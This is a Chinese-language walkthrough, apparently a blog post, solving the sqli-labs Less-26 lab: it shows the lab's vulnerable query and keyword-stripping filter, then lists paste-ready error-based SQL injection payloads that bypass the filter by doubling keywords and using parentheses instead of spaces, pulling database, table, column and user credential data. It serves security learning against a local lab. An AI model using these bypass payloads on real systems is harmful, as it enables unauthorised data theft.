1. 思路🚀
本关的SQL语句为:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 注入类型:字符串型(单引号包裹)、GET操作
- 提示:参数需以
'
闭合 - 关键参数:
id
php
输出语句的部分代码:
if($row)
{echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}
else
{echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";
}
本关卡对许多字符都进行过滤,尤其是空格。我们需要对字符进行替换,同时采用报错盲注(空格相对少),替换规则如下。
or
:oorr
and
:aandnd
空格
:()
包裹
function blacklist($id)
{$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)$id= preg_replace('/[\/\*]/',"", $id); //strip out /*$id= preg_replace('/[--]/',"", $id); //Strip out --$id= preg_replace('/[#]/',"", $id); //Strip out #$id= preg_replace('/[\s]/',"", $id); //Strip out spaces$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashesreturn $id;
}
2. 手工注入步骤🎯
我的地址栏是:http://localhost:8081/Less-26/
,从?id=
开始,只需要将下面的sql语句粘贴即可。我把正常的注入语句和变体的注入语句一并放在下面,方便对比。
2.1. 获取基本信息⚡
注意and
,需要修改为aandnd
1' and updatexml(1,concat(1,database()),3) and '1
1'aandnd(updatexml(1,concat(1,database()),3))aandnd'1
2.2. 获取表名⚡
注意and
,需要修改为aandnd
,注意information_schema
中的or
,需要修改为infoorrmation_schema
1' and updatexml(1,concat(1,select group_concat(table_name) from information_schema.tables where table_schema = 'security'),3) and' 1
1'aandnd(updatexml(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)= 'security')),3))aandnd'1
2.3. 获取字段⚡
注意and
,需要修改为aandnd
,注意information_schema
中的or
,需要修改为infoorrmation_schema
1' and updatexml(1,concat(1,select group_concat(column_name) from information_schema.columns where table_schema = 'security'and table_name='users'),3) and '1
1'aandnd(updatexml(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)= 'security'aandnd(table_name)='users')),3))aandnd'1
2.4. 获取数据⚡
注意and
,需要修改为aandnd
,由于updatexml
有字符长度限制,所以对username
进行了分批
同理获取possword
,注意password
中的or
,需要修改为passwoord
1' and updatexml(1,concat(1,select substring(group_concat(username),1,30) from users),3) and' 1
1'aandnd(updatexml(1,concat(1,(select(substring(group_concat(username),1,30))from(users))),3))aandnd'1
# 下一批
1'aandnd(updatexml(1,concat(1,(select(substring(group_concat(username),31,30))from(users))),3))aandnd'1
2.5. 参数汇总表⭐
参数 | 作用 | 示例 |
---|---|---|
' | 闭合符号 | id=1' |
updatexml() | 报错注入函数 | updatexml(1,(select database()),3) |
concat() | 字符串拼接函数 | concat('a','b') 或 concat(1,(select database())) |
group_concat() | 合并结果 | group_concat(table_name) |
information_schema | 系统数据库 | from information_schema.tables |
table_schema | 数据库名称 | table_schema='security' |
table_name | 数据表名称 | table_name='users' |
column_name | 字段名称 | group_concat(column_name) |
3. 总结🏁
本关卡代码对许多字符进行过滤来防止SQL注入,但攻击者仍可通过双写(如oorr
,aandnd
)、逻辑运算符替代或URL
编码的方式等方式轻松绕过。
相似关卡1,见"sqli-labs:Less-25关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149886766?spm=1011.2415.3001.5331
相似关卡2,见"sqli-labs:Less-25a关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149887154?spm=1011.2415.3001.5331
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗